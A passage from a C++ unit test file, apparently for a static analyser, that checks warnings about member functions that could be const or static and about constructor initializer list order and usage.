a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c{0}, b{0}, a{0} { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : b(a = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" int nCols() const;\\n\"\n \" int nRows() const;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" const char* m_name;\\n\"\n \" int nCols;\\n\"\n \" int nRows;\\n\"\n \" B(const char* p_name, int nR, int nC)\\n\"\n \" : m_name(p_name)\\n\"\n \" , nCols(nC)\\n\"\n \" , nRows(nR)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"struct D : public B {\\n\"\n \" const int m_i;\\n\"\n \" D(const S& s, int _i)\\n\"\n \" : B(\\\"abc\\\", s.nRows(), s.nCols())\\n\"\n \" , m_i(_i)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void initializerListArgument() {\n checkInitializerListOrder(\"struct A { A(); };\\n\" // #12322\n \"struct B { explicit B(const A* a); };\\n\"\n \"struct C {\\n\"\n \" C() : b(&a) {}\\n\"\n \" B b;\\n\"\n \" const A a;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:11] -> [test.cpp:5:7]: (style, inconclusive) Member variable 'C::b' uses an uninitialized argument 'a' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(const std::string& f, std::string i, int b, int c) : a(0), b(b), c(c) {}\\n\"\n \" int a, b, c;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(a) {}\\n\"\n \" int* p;\\n\"\n \" int a[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : p(&i) {}\\n\"\n \" int* p;\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(b = 1) {}\\n\"\n \" int a, b;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : r(i) {}\\n\"\n \" int& r;\\n\"\n \" int i{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct B {\\n\"\n \" int a{}, b{};\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" D() : B(), j(b) {}\\n\"\n \" int j;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S() : a(i) {}\\n\"\n \" int a;\\n\"\n \" static int i;\\n\"\n \"};\\n\"\n \"int S::i = 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S {\\n\"\n \" S(int b) : a(b) {}\\n\"\n \" int a, b{};\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"class Foo {\\n\" // #3524\n \"public:\\n\"\n \" Foo(int arg) : a(b), b(arg) {}\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20] -> [test.cpp:4:9]: (style, inconclusive) Member variable 'Foo::a' uses an uninitialized argument 'b' due to the order of declarations. [initializerList]\\n\",\n errout_str());\n\n checkInitializerListOrder(\"struct S { double d = 0; };\\n\" // #12730\n \"struct T {\\n\"\n \" T() : s(), a(s.d), d(0) {}\\n\"\n \" S s;\\n\"\n \" double a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializerListOrder(\"struct S { static const int d = 1; };\\n\"\n \"struct T {\\n\"\n \" T() : s(), a(S::d), d(0) {}\\n\"\n \" S s;\\n\"\n \" int a, d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInitializationListUsage(...) checkInitializationListUsage_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializationListUsage_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::performance).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.initializationListUsage();\n }\n\n void initializerListUsage() {\n checkInitializationListUsage(\"enum Enum { C = 0 };\\n\"\n \"class Fred {\\n\"\n \" int a;\\n\" // No message for builtin types: No performance gain\n \" int* b;\\n\" // No message for pointers: No performance gain\n \" Enum c;\\n\" // No message for enums: No performance gain\n \" Fred() { a = 0; b = 0; c = C; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { a = 0; s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (performance) Variable 's' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string& s;\\n\" // Message is invalid for references, since their initialization in initializer list is required anyway and behaves different from assignment (#5004)\n \" Fred(const std::string& s_) : s(s_) { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::vector v;\\n\"\n \" Fred() { v = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'v' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C { std::string s; };\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred() { c = unknown; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) 